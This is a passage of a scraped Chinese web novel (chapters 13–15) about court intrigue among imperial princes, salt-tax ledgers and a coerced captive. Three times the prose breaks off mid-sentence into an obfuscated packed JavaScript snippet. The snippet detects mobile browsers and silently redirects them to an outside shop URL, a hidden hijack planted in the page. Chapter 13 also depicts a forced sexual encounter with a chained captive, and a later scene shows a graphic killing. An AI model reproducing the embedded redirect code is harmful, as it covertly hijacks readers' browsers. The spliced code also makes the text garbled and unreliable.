他刚动了一下,门却哐当一声打开,门口,一道高大身影逆光而立,红衣在昏暗光影中浓艳似血。 楚明赫步入房中,反手阖上门,将风雪与喧嚣隔绝在外。 他步履稳沉,手中犹拎着一只白玉酒壶,面颊因酒意染上薄红,可那双凤眸却锐利清明,甚至因这份清醒而显得格外阴沉冰冷。 乌橦扶着轮椅往后退,声音怕到发颤,“你……你别过来……” 楚明赫目光沉沉,却真的在他面前两步远的地方停下,他端起那杯酒,递至乌橦唇边,命令简短:“喝了。” 乌橦刚服过药,对酒气甚是反感,他偏头避开,“我……不喜饮酒……” 那双眼眸带着星点的蓝色,沁了泪水,在烛火下更显晶莹,他肤色太白,唇瓣更显嫣红。 楚明赫眸光陡然暗沉,深不见底,他不再多言,仰头将杯中酒一饮而尽,随即俯身,一手捏住乌橦精巧的下颌,迫使他仰起脸,另一手扣住他后脑,低头便封住了那双微颤的红唇,将酒渡了过去。 乌橦脑中一片空白,整个人都僵住了。 13. 第13章 乌橦喘不过气来。 那吻太过汹涌,酒水早已咽下,唇舌间的掠夺却未曾停歇,楚明赫的手掌牢牢扣住他的后颈,迫使他仰起头,勾缠着他一起沉沦。 乌橦只觉得窒息,他用尽力气一推,楚明赫顺势松开了钳制,拇指漫不经心地抹过自己湿润的唇角,目光却未曾离开人分毫。 乌橦身子靠着轮椅,大口喘息着,身上披风散开,才发现他身下穿着一身艳色里衣,肌肤上遍布斑驳。 楚明赫就那样站着,毫无回避之意,他的手掌从乌橦单薄的肩头缓缓下滑,沿着腰线猛地动作,将人打横抱起。 乌橦惊呼出声,反应过来已经被抱起走向软榻,他挣扎着拍打着楚明赫的肩膀。 “放我下来!” 楚明赫确实把他放下了,放在柔软的锦被里,头发散落在枕旁,那眼眸蒙着水雾美得惊人,楚明赫随之压下,炙热的吐息靠近。 乌橦却猛地将脸转向一侧,“你让我觉得恶心。” 楚明赫动作顿住,眼神布满阴鸷,掐着他的下颌,“恶心,你觉得我恶心?” 乌橦梗着脖子,眼睛里带着恨,“是!你为什么非要扯着我不放,我当年宁可死在北郡,也不要让你救我回来。” 楚明赫眼神变得十分吓人,他轻笑一声,伸手捏住乌橦的下巴,“死?哪有这么便宜的事。” 刺啦一声,原本就单薄的衣裳彻底碎裂,隐约漏出衣下的锁链。 楚明赫掌心滚烫,扣着他脖子,贴近他的耳廓:“当年你偷窃情报,假传密令,致使后备军驰援不及,还害了我亲弟弟一条命,你以为一死就能偿清?” 乌橦身子僵住,瞬间失去了所有力气,他闭上了眼睛,喃喃道:“楚明赫,你会下地狱的。” 楚明赫动作顿住,他眼眸里闪过些许痛楚,却没有人能瞧见,只能将人更重地压进锦被深处,让两人都染上了污秽。 他啃咬着,像是把人碾碎揉进身体里,蜡烛燃尽,昏暗的晶莹不知晓是泪水还是汗珠。 乌橦终于泣出了声,“楚明赫,我恨你……” 良久,黑暗里才传来一声沉闷的回应:“……嗯。” 翌日,天色灰蒙,像是蒙着一层阴翳。 天色转凉,人要添衣。 栖华院内,姬昀雀独自坐在书案后,一封信摊在面前。 云阑静立一旁,下首还站着石越,后者面色愧疚,垂首禀报,“殿下,人放回去了,但属下还是没有拿到真的账本……” 姬昀雀的指尖划过信纸上的字迹,将其缓缓合拢,撕成两半,凑近烛火,火苗跃起,吞噬了纸张,映亮他沉静的眉眼。 他轻声道:“本来就不需要账本……” 叩叩叩,敲门声传来。 “进。” 一个年纪不大的仆役低眉顺眼地进来,怀中抱着一床崭新的锦被,声音微颤,“殿、殿下,新缝制的被褥送到了。” 这仆役低着头,不敢抬头瞧。 自从姬昀雀搬到栖华院来,下面的仆人也跟着收敛了不少,再加上有崔嬷嬷管着,下人们规矩了许多。 姬昀雀淡声道:“石越。” 石越应声上前,接过那床看起来厚实柔软的被子,入手却顿了顿。 那仆役如蒙大赦,慌忙退了出去。 “这九殿下,难不成转了性子?”石越掂量着被子,嘀咕着走近,脸色忽然一变,“不对,怎么这般沉?” 他一把将被子掀开,只见被褥浸着一滩污浊的馊水与泥渍,刺鼻的气味弥漫开来,好好一床锦被彻底毁了。 石越丢下被子,面色难看,“殿下,还以为九殿下转性了,没想到还是这般模样。” 云阑在一旁也蹙紧了眉。 姬昀雀淡然地瞧了一眼,脑子里不由得响起昨日姬簌星说的话来,他垂下眸子,“未必是他,云阑,去……” 他想说让云阑查一下府里的下人,话到一半,却又停住。。 没有必要,他根本不需要浪费时间跟物力在姬簌星身上,就算是姬簌星一时心血来潮改好了,亦或者是变得更糟糕,都已经不归他管教了。 说到管教……姬昀雀又不免的想起姬簌星那微红的眼眶,他在想,小九如今变成这样,是自己的错吗? 云阑瞧着姬昀雀出神,便唤了一句,“殿下?” 姬昀雀敛了神色,淡淡道:“无事,处理了吧。” “是。” 云阑与石越退下,室内重归寂静。 空气中弥漫着一股安神香的味道,姬昀雀揉了揉眉心。 “吱呀——” 窗棂被顶开一条缝,一颗毛茸茸的橘色脑袋探了进来,灵巧地跳上桌案,冰凉的桌面让它缩了缩爪子。瞧见有人在看它,又仰着脑袋走上前去,尾巴一蜷,正好趴在了字迹中央,一双圆溜溜的金色眼睛望着他。 姬昀雀低下头跟它对视,金豆浑身上下都是金黄色的,带着细长条的狸花纹,只有两个前爪白白的,翻过来就是粉色的小爪垫。 那眼睛也是金黄的,瞳孔圆圆,这双眼与姬簌星委屈时的模样,竟有几分相似。 对视了一会,姬昀雀下了结论。 “有点蠢。” 而窗外不远处,檐角阴影下。 方才送被的小仆役面有惧色,“明喜管事,这……真的无碍吗?若是殿下知道了……” 明喜眼神阴郁,不耐地瞥他一眼,“怕什么?殿下何时真将他放在眼里过?” “可是…” “可是什么可是,下去吧。” 明喜面色甩了甩手,面色不虞。 他不认为姬簌星是厌弃了他,以往姬簌星也会罚他,两三天他就能将人哄好,毕竟他是三皇子的人,对姬簌星的脾气琢磨得又透,现在只是一时失宠而已。 “阿嚏……” 姬簌星抱着被子,打了个喷嚏,他揉了揉鼻尖,将半个身子缩在暖被里。 透过窗户往外瞧,窗外天色灰蒙蒙的,凉意渐浓,幸好栖华院那边也安排妥当,太子哥哥会过个暖冬了。 他这样想着,便快速收拾完,刚拉开门,便见铉方垂手立在门外,正欲叩门。 铉方瞧见姬簌星,愣了下立马垂头,“殿下请您前去一同用早膳。” 姬簌星几不可闻地叹了口气,“带路吧。” 步入膳厅,却发现不止姬洵璋在座,豫王妃魏蓉亦在。 魏蓉年岁不大,鹅蛋脸,乌发绾成端庄的髻,眉宇间却比寻常京中闺秀多了几分飒爽英气,魏家乃武将世家,她身为嫡女,气质自然与众不同,虽举止力求端庄守礼,那份张扬仍在。 两人见过数面,魏蓉对姬簌星的印象还不错。 姬簌星规规矩矩行礼,“皇兄,皇嫂。” 魏蓉听到声音,眼眸里带了几分笑,“小九来啦,自家人,不必这般拘礼。” 姬洵璋抬眼看来,眼下带着淡淡的青影,似昨夜未歇好,他揉了揉额角,声音温和却不容拒绝,“小九,过来坐。” 魏蓉刚想招呼姬簌星坐在对面,铉方就上前,将姬洵璋旁边的椅子拉开。 她微微一怔,随即笑开,打趣道:“你三皇兄待你真是亲厚,小九,日后可要记得你皇兄的好。” 姬洵璋眉头一蹙,低声:“魏蓉!” 姬簌星只好坐到那侧,又应道:“皇嫂说得是。” 魏蓉不着痕迹地白了姬洵璋一眼,她颇不喜姬洵璋这般心思深沉之人,但魏家帮着薛家掌控兵权,她身为魏家女,姻缘早不由己。不过姬洵璋跟她相敬如宾,平日里从不越界,她自己过得也自在。 相比而言她更喜欢姬簌星。 这少年衣着精致,容颜如玉,尤其那双眸子,清澈透亮如琉璃,一眼便能望到底,让人不由心生亲近。 她瞧着侍女为姬簌星布菜,看了片刻便道:“小九,你也快到议亲的年岁了,心里可曾有过中意的姑娘?我们魏家倒有几个与你年岁相仿的妹妹……” 姬簌星正喝着一口粥,闻言呛住,猛地咳嗽起来。 姬洵璋迅速倾身过来,一手轻拍他的背脊,语气关切,“怎么这么不小心?慢些。” 另一手已端起温水,递至姬簌星唇边。 姬簌星下意识偏头想躲,却没躲开,只得就着姬洵璋的手喝了两口,勉强压下。 魏蓉在一旁瞧着,心底忽地掠过一丝异样,姬洵璋此人绝非情深义重之辈,为何对一个异母弟弟如此紧张?即便在她家中,大哥二哥也未曾这般…… 姬簌星缓过气,连忙对魏蓉摆手,“多谢皇嫂关心,我还未曾想过这些。” 魏蓉托着脸颊,还想再说:“这有什么,早晚都要考虑,我们魏家的女儿……” “哐!” 一声轻响,打断了魏蓉的话。 只见姬洵璋将手中茶盏搁在桌上,盏中茶水溅出几滴,他抬眸,面上没什么表情,“小九年岁尚小,此事不必再提。” 魏蓉话说到一半被打断,只觉得憋屈,姬洵璋今日跟吃了火药似的,谁惹他了? 她也就比姬簌星大了两岁,她还是魏家最小的女儿呢,平日她跟姬洵璋井水不犯河水,今日不知道哪里来的毛病。 她心下愠怒,放下银箸,站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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铉方上前一步,挡住姬簌星的去路,“九殿下不妨在府中多留几日,待殿下忙完,自会来寻您。” “我有自己的府邸!我为何不能回……” 姬簌星说到一半,忽然明白过来,难以置信地瞪圆了眼,“他不准我回去?凭什么?我要回我的九皇子府!” 他试图绕开,铉方却总能及时挡住他的方向。 姬簌星停下脚步,又气又急,“我要回去!我不要待在豫王府!” 他昨日才跟姬昀雀表明态度,今日就跟着姬洵璋回了府,那在姬昀雀眼里,自己怕不是撒谎成性,朝秦暮楚的人? 那他以后再对姬昀雀开口,还有信服力吗? 姬簌星伸手推开,“让开!” 铉方身形稳如磐石,垂眸道:“殿下有令,铉方不敢违抗。” “好啊,终于说出来了是不是?”姬簌星气得脸红,指着铉方后退了两步,“你下去,别跟着我!” 铉方抬眸,只是守着姬簌星不动。 “怎么?还怕我跑了?我一个手无缚鸡之力的皇子,难道还能插翅飞出去?我现在心烦,想独自逛逛,不许跟来!” 铉方犹豫片刻,终于侧身让步,“那请殿下自便。” 姬簌星一甩衣袖,气鼓鼓地转身离去。 姬洵璋就是这样,表面上温和儒雅瞧着好说话,骨子里却强势专横。 他闷着头往前走,他对豫王府熟得很,以前贪玩的时候,他就知道南边的后院有一处狗洞。 他不是物件,也不是姬洵璋的私有物,姬洵璋凭什么将他软禁于此? 太子哥哥就不会对他这样。 心中憋着一股郁气,姬簌星脚步匆匆。 眼看后院门墙在望,忽地一道人影从月洞门内踉跄冲出,猛地与他撞个满怀。 “救……救命……!” 那人惊慌失措,抬头见姬簌星衣着华贵,抓住救命稻草,死死攥住他的衣袖。 姬簌星尚未来得及反应。 “嘣!” 弓弦震响,尖锐破空,利箭贯穿了那人的胸膛。 温热的血迸溅到姬簌星的脸上跟衣襟,他僵着脸低头,冰寒的利刃洞穿了那人的心口,停在自己身前寸许。 他被这血骇住,僵着脸抬眸。 只见角门之下,一人身着素白锦袍,手持长弓,弓弦犹自微颤,那人面如寒玉,正冷冷地望过来。 14. 第14章 温热的血点溅在脸上,顺着脸颊蜿蜒而下。 姬簌星浑身僵硬,血液都在一瞬间凝固了。 “小九!”姬洵璋见此情形,脸色骤变,快步冲上前,一把将人揽入怀中。 他的手臂收得很紧,将姬簌星的脑袋按在自己身前,挡住了视线。 姬簌星晃神间身子被人拥住,熟悉的龙涎香冲淡了鼻尖的血腥味,脑子里的弦这才回神,直到这时,他才猛地回过神,察觉到自己双手,正不受控制地微微颤抖。 “别怕,小九,没事了,皇兄在这里。” 姬洵璋低声安抚着,随即抬头,目光沉沉望向檐下那道持弓的身影,厉声喝道:“薛穆清!你放肆!” 薛穆清不疾不徐地放下手中的弓,抬起那双狭长而薄凉的凤眼,眼底平静无波,“豫王殿下息怒,那贼人欲逃,情势危急,不得已才出此下策。” 他的语调听着谦和,字里透着一股事不关己的漠然。 “你!”姬洵璋胸中怒气翻涌,却一时寻不出话来驳斥,只得强压怒火,放柔了声音,“小九,可是吓着了?” 姬簌星被他牢牢锁在怀中,耳畔是自己如擂鼓般的心跳,他自幼畏血,瞧见那温热的,散着腥味的新鲜血液,先是觉得恶心,紧接着便会感觉到眩晕。 他张了张嘴,却发不出任何声音,只能凭着最后一点力气,推开姬洵璋环抱的手臂。 “我……我没事……” 虽然如此,但他的脸色苍白如纸,连唇上都失了血色。 薛穆清缓步上前,在两人面前站定,微微躬身行礼,“九殿下。” 姬簌星抬头,视线聚焦在薛穆清身上。 他知道他,薛穆清,薛家旁系庶出,却因为少年聪慧入了薛家主家的眼,记在正房名下,小时候他在学宫里也是见过的。 薛穆清面上挂着三分笑,面容瞧着谦逊温和,但是眼眸里却没有丁点笑意,他放低了姿态,“方才情急,冒犯殿下,还望殿下海涵。” 姬簌星抿着唇没有开口,君子六艺,薛穆清都是拔得头魁的,刚刚他就是故意的。 薛穆清似乎也并不期待他的回应,目光已转向地上那具尚存余温的躯体。 “嗯?”他轻轻发出一声疑问,“竟还有一口气?” 姬簌星这才发现有人在扯他的衣摆,他视线随之落下去。 只见薛穆清单膝跪地,面无表情地握住那支没入胸膛的箭矢,手腕一拧,干脆利落地拔出,随即反手一送。 “噗呲。”利刃穿透皮肉的闷响格外清晰。 鲜血飙溅而出,有几滴甚至落在了姬簌星的靴面上。 地上的人喉间发出嗬嗬的声响,手脚抽搐了两下,便彻底不动了,浓稠的血液滴滴答答,从姬簌星靴面滚落,在青石板上洇开一团红色。 那股浓烈的腥气猛地窜入鼻腔,他眼前骤然一黑。 不知道昏了多久,意识慢慢回归,他躺在干净柔软的被褥里,已经没有血腥味,只有很淡的龙涎香的味道。 他闭了闭眼,还是有些恶心。 正当他想要坐起时,外间刻意压低的交谈声,隔着门扉隐隐传来。 姬洵璋的声音带着压不住的怒气,“薛穆清!谁准你在本王府邸擅自动手杀人?!” 薛穆清声音平淡,“殿下明鉴,事急从权,若王府护卫能更缜密些,本也不必脏了殿下的地方。” 姬洵璋的声音陡然转冷,“你是在指责本王?” “在下不敢。” 外间,姬洵璋面沉如水,盯着眼前之人,薛穆清脸上那副谦恭温和的神情仿佛长在了皮肉上,看得人心中愈发烦躁。 姬洵璋沉着脸,“陈如海为薛家效力近十载,事情尚未分明,你便急不可耐地灭口?” 薛穆清不急不缓道:“殿下可知他临死前说什么吗?他说,他手里捏着这些年薛家抽成的账本,以此来威胁殿下,保他一家老小平安。” 薛穆清轻笑一声,“殿下说他忠心,可忠心的人不会噬主,再说账目真真假假,到现在都没有寻到,殿下不一样怀疑他吗?” 姬洵璋面无表情,“薛家费了多少心思才把他送到这个位置,他执掌盐税多年,现在突然暴毙,父皇只会派自己人接管。” “盐铁之利,薛氏若就此脱手,你知道意味着什么吗?!” 薛穆清抬眸,“殿下可知,不忠者不用,与其等别人捏住把柄,不如自断一臂,账本失窃,已经是个警示了。” 姬洵璋面色阴沉,“我知道。” 他目光沉沉,“我当然知道,姬鸿宸现在犹如困兽,只想着拿捏我的把柄,但他莽夫一个,不足为惧。如今临到关头,父皇病重,越是这关头越要慎重,再容他多活几日。” 薛穆清抬眸,“现如今除殿下外还剩两位皇子,殿下不怀疑七皇子吗?” 姬洵璋蹙眉,“不是查过了吗,抓陈如海的人是军中之人,只有姬鸿宸部下捏着兵权,至于姬昀雀刚收的羽林卫,时间跟人物都对不上。” 薛穆清神色不变,继续追问,“那殿下如今作何打算?恕在下直言,自帝后当年大赦,加开恩科以来,朝堂之上,寒门新贵渐起,皆可视为皇党。 殿下树大招风,牵一发而动全身,此时主动出手,并非上策。” 姬洵璋静默了一会,“你说如何?” 薛穆清端起手边的茶盏,慢悠悠地饮了口茶,“殿下不必忧心,陈如海贪墨税银三十万九千两,现如今已经在五皇子的私库里了。” 姬洵璋没有丝毫意外,他盯着薛穆清道,“朝野皆知陈如海是薛氏门生,此事若掀开,且不论旁人信与不信,薛氏首当其冲。你为何不干脆还回去,反正司农也是自己人。” “殿下忘了,”薛穆清放下茶盏,发出一声轻响。 “那本真正的盐税账册,现在还没有寻到,若账册在五皇子处,他必会立刻跳出来自证清白;若在七皇子处……这对他而言,可是个难得的机会。” 姬洵璋眉心紧锁,“薛穆清,你胆子未免太大了,此事未挑开前尚在薛氏掌控之中,此事闹开便由不得我们。况且,姬昀雀会趟这浑水吗?” 里间,姬簌星不自觉地屏住了呼吸。 薛穆清放下茶盏,轻笑了一声,“他会的,因为账本已经放在他桌案上了。” 姬昀雀一早就入了宫。 但呈上去的并不是账本,而是文书。 玉华殿内,帷幔低垂,桌案上金炉余香袅袅,一片寂静,武帝姬戎靠坐在御案之后,面色带着病态的苍白,手中奏折翻动,越看面色越沉。 他冷笑一声,将那份文书重重掷在案上。 “京城重地,天子脚下,竟有人敢买凶刺杀!京辅都尉是干什么吃的?” 姬戎揉了揉眉心,“昨日之事,仔细说与朕听。” 姬昀雀身姿挺拔如松,声音平稳无波,“回陛下,昨日戌时三刻,臣与九殿下于乌林巷遭遇伏击,凶徒五人,皆已投入诏狱。经连夜审讯,五人供认不讳,确系受雇行凶。” “买凶者为羽林卫中两名郎将,现已缉拿归案,相关议罪奏折已呈送尚书台,听候发落。” 姬戎指尖抵着额侧,摆了摆手,“此等事,按律处置便是,不必再报。不过……” 他抬起眼皮,目光落在姬昀雀脸上,“你方才说,是与小九一同遇刺?” 姬昀雀眼帘微垂,“只是巧合偶遇。” 姬戎闻言,稍稍坐直了身子,那双锐利的眼睛,审视般打量着眼前的儿子。 片刻,他忽然转了话题,“在九皇子府上,住得可还习惯?” 姬昀雀回道:“九皇子府精雅宏丽,自是极好。” 姬戎盯着他,目光渐沉,隐隐带出一股不容置疑的威压,“朕是问你近况如何,昀雀,你非要与朕如此说话吗?” 姬昀雀面上适时浮现出恰到好处的惶然,“臣……” “罢了。”姬戎有些疲惫地挥了挥手,“朕知道,关于陆家的事,你对朕始终存着芥蒂。” 姬昀雀抿紧唇,眼帘垂得更低,不再言语。 姬戎也没再继续这个话题,掩唇低咳了几声,“你既暂居小九府中,平日无事便多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965981|193380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教导他,咳咳……” 江福明担忧上前,“陛下。” 姬戎摆了摆手,止住咳嗽,语气不容反驳,“不,朕改主意了,你如今执掌羽林卫,正好让小九过去做你的副使。” 姬昀雀原本平静的面容终于有了些许变化,可不等他开口,姬戎就亲自写好了任职文书,交给了江福明。 “行了,就这么说定了,我将小九交给你,务必是你亲自教导,若他三个月内没有长进,朕唯你是问。” 江福明拿着文书捧到姬昀雀身边,“七殿下,您拿好。” 姬昀雀只好垂眸接过,“是。” 身处豫王府的姬簌星,不知道自己那悠闲日子即将到头。 他听着外间没了动静,心绪烦乱。 薛穆清是薛家这一辈中能力最强的,庶子出身,却能从幽州一路到启京,还得了德妃赏识。跟薛锦霈这样混吃混喝的世家子弟不一样,薛穆清聪明且不好对付。 不知道是不是姬簌星的错觉,他总觉得薛穆清在针对他。 “吱呀。” 房门被轻轻推开,熟悉的脚步声由远及近,停在床榻边。 姬簌星立刻闭紧双眼,放缓呼吸,装作仍在昏睡。 有人坐在床边,还未曾开口说话,那熟悉的气息先扑了过来,是姬洵璋。 姬簌星能感觉到那双眼睛在凝视他,他放缓了呼吸。 良久之后,一只温热的手抚上他的面颊。 姬洵璋轻叹一声,开口道:“小九,我帮你出气了,薛穆清要在祠堂跪九个时辰。” 薛穆清的确得母妃看中,但是今日他的确逾越。 姬洵璋的指尖掠过他额前的碎发,“你且安心在府上待着,等到……等到解决掉手上多余的麻烦,小九再回去不迟。” 他瞧着那张瓷娃娃般的脸,面容逐渐温和。 他有很多弟弟妹妹,可姬簌星是不同的,他最先注意到姬簌星,是因为姬临阙。 他们身在天家,哪里来的血脉亲情,自他生下来,他就对标着太子的一言一行。他跟姬临阙是同样的人,两人都是拿规尺裁量出来的,像是按着模具生长的玉章。 直到有天姬临阙身后多了个小团子,漂亮聪慧,软软糯糯的跟在姬临阙身后,别人都唤姬临阙皇兄,唯有那小包子娇气地喊哥哥。 在那之后姬临阙就变了,遵循皇家律条生长的只剩姬洵璋一个。 他站在阴暗的角落里,手里捏着书本,眸子却在窥探着对面的一言一行。 姬簌星很讨喜,虽然调皮捣蛋但是嘴甜,姬临阙的伴读也喜欢宠着他,甚至因为姬簌星想出去玩,姬临阙就提前完成课业,推了少傅的课。 但姬临阙并没有因此落下课业,反而比以往更鲜活更耀眼,夫子夸他写的文章灵气沛然,独具风骨。而轮到自己,夫子只会赞文采斐然,法度严谨。 文采有之,但灵气不足,他是框在方正格子里的一滩死墨。 姬洵璋默默窥视,瞧着姬簌星一点点长大,他当时也疑惑,难不成血脉亲情如此重要。 他学着姬临阙的模样,开始对自己弟弟们好,但不一样,他们只会畏缩,见了只会规规矩矩地喊皇兄,甚至有些怕他。 于是他寻来机会,趁着姬簌星去看母妃时,带着他最喜欢的糕点等着他,等到昏时,姬簌星才出现,蹦蹦跳跳朝他扑过来。 姬洵璋愣神间,就被这小团子扑了满怀,然后他听到姬簌星奶声奶气地撒娇。 “太子哥哥,你来接我了呀。” 姬洵璋笑容凝固。 姬簌星也发现自己认错了人,他立马退后,面色涨红,最后跟别的弟弟一样,只是规矩地喊了一声皇兄。 那一瞬间,嫉妒、不甘、愤怒一起涌上心头,凭什么?为什么? 凭什么姬临阙要什么有什么,自己却只能躲在角落里窥探? 这太不公平,姬临阙有的东西,他也要。 鸿启十八年,所有人都因为太子身死兵荒马乱的时候,他在雪地里把人捡回了府。 现在弟弟是他的了。 15. 第15章 姬簌星闭着眼睛,丝毫不敢动弹。 他只觉姬洵璋奇怪,方才那一下,指腹捏得他颊边生疼,可转瞬间,力道又松了化作轻抚,流连不去。 姬洵璋不会是在试探他吧? 这样想着,姬簌星呼吸放得更轻,更缓,像是真的睡着了一般。 姬洵璋的手指停在他颊边,喃喃道:“小九睡着时,倒比平日里乖些……” 叩叩叩,不轻不重的敲门声,打破了室内的气氛。 铉方恭敬的声音从门外传来,“殿下,有要事禀报。” 脸上的触感消失了,姬洵璋收回手,衣料摩擦发出窸窣声响,那股令人窒息的压迫感随之远去。 吱呀一声,门关上。 外面铉方压着声音,陆陆续续传来,“殿下,薛尉令离开前说,那账本可能在陈如海旧宅……只是少了钥匙……” 姬洵璋的声音平静,“去查,应当还在府上。” 脚步声与话语声逐渐远去。 姬簌星睁开眼,猛的坐起身,他衣裳被人换过了,新穿的衣物上只有皂角跟熏香的味道。 他闭了闭眼,开始回想自己刚刚听到的事。 陈如海?便是那个掌管着盐税的官?他不是薛家最得力的心腹之一么?怎么被薛穆清如此轻易地杀了? 他们刚刚说的账本,应当就是私自抽成给薛氏的账本,陈如海要么是中途叛变,要么是成了薛氏的弃子,否则以薛穆清的性子,不会如此轻易就下杀手。 一想到陈如海死时浑身是血的模样,姬簌星后背就窜起一阵寒意。 刚刚薛穆清还说,赃银在姬鸿宸那里,假账本却给了姬昀雀。不用想也知道,那本假账本上,定然写满了栽赃姬鸿宸贪墨的罪证。 以姬鸿宸那鲁莽又多疑的性子,若是见了假账本,定会以为是姬昀雀在背后捅刀,届时两人斗得天翻地覆,薛家便可坐收渔利。 姬簌星站起身来,他得想个法子回去,然后拐弯抹角地提醒姬昀雀。 他快步走向门口,刚迈出两步,就听到叮铃一声脆响,从他腰间传来。 什么声音? 他顿住脚,低头拽起悬在腰侧的玉佩。 玉佩温润,泛着朦胧的光,他将玉佩翻转,指尖触到内侧精致的绳结,那里竟然扣着一枚小巧的铜钥匙! “咔嚓!” 铜锁机括弹开的轻响,在寂静的库房里格外清晰,姬昀雀拔出钥匙,随手丢给身后的云阑,一把掀开了沉重的木箱盖。 木材混杂着松油的沉闷气味扑面而来,又被白花花的光亮盖了过去,满箱的银锭堆叠在一起,反射着冷冽的光。 姬昀雀嗤笑道:“三十万九千两,好大的手笔。” 这几乎是盐税一季收入的十之二三,足以供养整个羽林卫一年。 云阑拿着火折子上前,瞧着那白花花的银子,眼里带上了些许占有欲,他低声开口:“殿下,我们……” 姬昀雀声音冷淡,“想什么呢?这上面都有官印。” 石越张了张嘴,到了嘴边的话又咽了回去,只是目光落在那些银锭上,难掩心疼。 供养私兵本就是一笔极大的开销,若是单凭朝堂拨款,层层审批下来,不仅繁复麻烦,数额更是寥寥无几,根本不够用。 殿下先前在北郡时,就时常自掏腰包补贴私兵开销,后来殿下换了身份回京,陆家又遭逢抄家灭门之祸,如今养在暗处的私卫,一部分靠的是殿下的私产,另一部分则靠陆皇后留下的嫁妆支撑。 云阑移开视线,轻轻叹了口气,“倒是可惜了这么多银子。” 姬昀雀抬眸,眼底没有半分波澜,“有什么可惜的?盖着官印的留下不动,剩下的全部搬走。” 云阑先是一愣,随即眼睛猛地一亮,对啊,这些银子是薛氏送来的,地道也是薛氏挖的,跟他们有什么关系? 两盏茶的时间,库房又变得空荡,但印着官印的银子丝毫未动,像是没人来过。 门再次合拢,院子外面的天色有些昏沉。 姬簌星瞧着天色变暗,心情烦躁,哐当一声关了窗子。 整整一天了,他都没有寻到机会出去,府上的人都在忙,铉方看他看得又紧,他百无聊赖地待在房中,指尖一遍遍摩挲着玉佩下那枚冰凉坚硬的钥匙。 他弄明白了,这个钥匙是陈如海的东西,应当是真账本所在的位置,想到白日里薛穆清一石二鸟,不仅算计姬鸿宸,还算计姬昀雀,他就慌得坐不住。 他再次站起身,快步走到院门口,一把推开了门。 铉方立在门外,闻声转头,“殿下可是要用膳?” 姬簌星直截了当开口,“我要回去。” 铉方眼神未动,“殿下若是用膳,属下即刻吩咐……” “我说我要回府!”姬簌星骤然拔高声音,一脚踹上门,沉闷的撞击声在廊下回荡,“你是聋了吗?” 铉方抬眸瞧着姬簌星动怒,静默了下,“王爷正在处理要务,您的话,属下会代为转达。” “呵。”姬簌星冷笑一声,哐当把门关上。 他白日里见了血,晚上睡得并不安稳。 梦里要么就是浑身是血、向他索命的老头,要么就是作天作地关在地牢,最后被姬昀雀一剑捅死,梦里混乱,慌张,焦灼,想要跑却跑不掉,直到他精疲力竭,猛地从梦魇中惊醒。 天光已大亮,日光透过窗纸,有些刺眼。 姬簌星发现自己蜷在窗边的小榻上,身上滑落一条薄被,他怔了怔,立刻伸手摸向腰间,指尖摸到那冰凉的物件,他这才长长舒了一口气。 他得想个办法出去,然后把这玩意丢给姬昀雀。 就在他绞尽脑汁想要跑的时候,却有人比他快一步送上门来。 姬簌星刚推开门往外走。 一只骨节分明的手伸了过来,手腕一动,折扇唰地展开,挡住了他的视线。 “小爷在此,阿星,想我了没?” 熟悉的嗓音响起,薛锦霈收起折扇,脑袋往前凑了凑,一双桃花眼弯成了月牙,嘴角挂着玩世不恭的笑。 姬簌星一把推开他的脑袋,侧身走出房门,“你怎么来了?” “去你府上找你,下人说你不在,我一猜你就被表哥拘在这里了。” 薛锦霈又压低了声音,神秘兮兮地说道:“还有,昨日薛穆清从这里回去后,就被家里人罚跪祠堂了,我旁敲侧击打听过,他们只说他得罪了表哥。” “但表哥向来不是计较这些小事的人,我猜他是为你出气,快说说,昨日薛穆清怎么得罪你了?” 姬簌星还未开口,身后便传来一道温润却不容忽视的声音。 “锦霈。” 薛锦霈的身子猛地一僵,转身时,身上那股风流劲收敛了大半,“表哥。” “嗯。”姬洵璋应了一声,目光落在薛锦霈身上,“你来找小九?” “是呀。”薛锦霈忍不住好奇,“表哥,薛穆清昨日是怎么回事?” “越俎代庖,自作主张。”姬洵璋语气平淡,却带着无形的压力,“有些事,不该他管。你既知道,便也记着。” 薛锦霈挑眉,立刻在嘴边做了个拉上封条的手势。 姬洵璋这才看向姬簌星。 少年面色透着些许苍白,眼睫下有着淡淡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965982|193380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴影,眸子不似平日晶亮,显得有些恹恹的,看见他,也只是低声唤了句:“皇兄。” 姬洵璋眼眸一黯,他上前一步,柔声道:“昨日是皇兄的错,让府上下人冲撞到了小九,皇兄不是拘着小九,只是这两日事情太多。” “罢了,既然锦霈来寻你,便同他出去散散心也好。” “记得,”他轻声叮嘱,目光却深邃,“晚膳前回府。” 姬簌星抬起脸,应得干脆:“知道了。” 知道是一回事,回不回来……傻子才回来。 姬洵璋凝视着他的眼睛,姬簌星不闪不避地回望,甚至还懒洋洋地打了个哈欠,抱怨道:“皇兄,你这豫王府闷死人了,下次再这样把我关着,我可真不来了。” 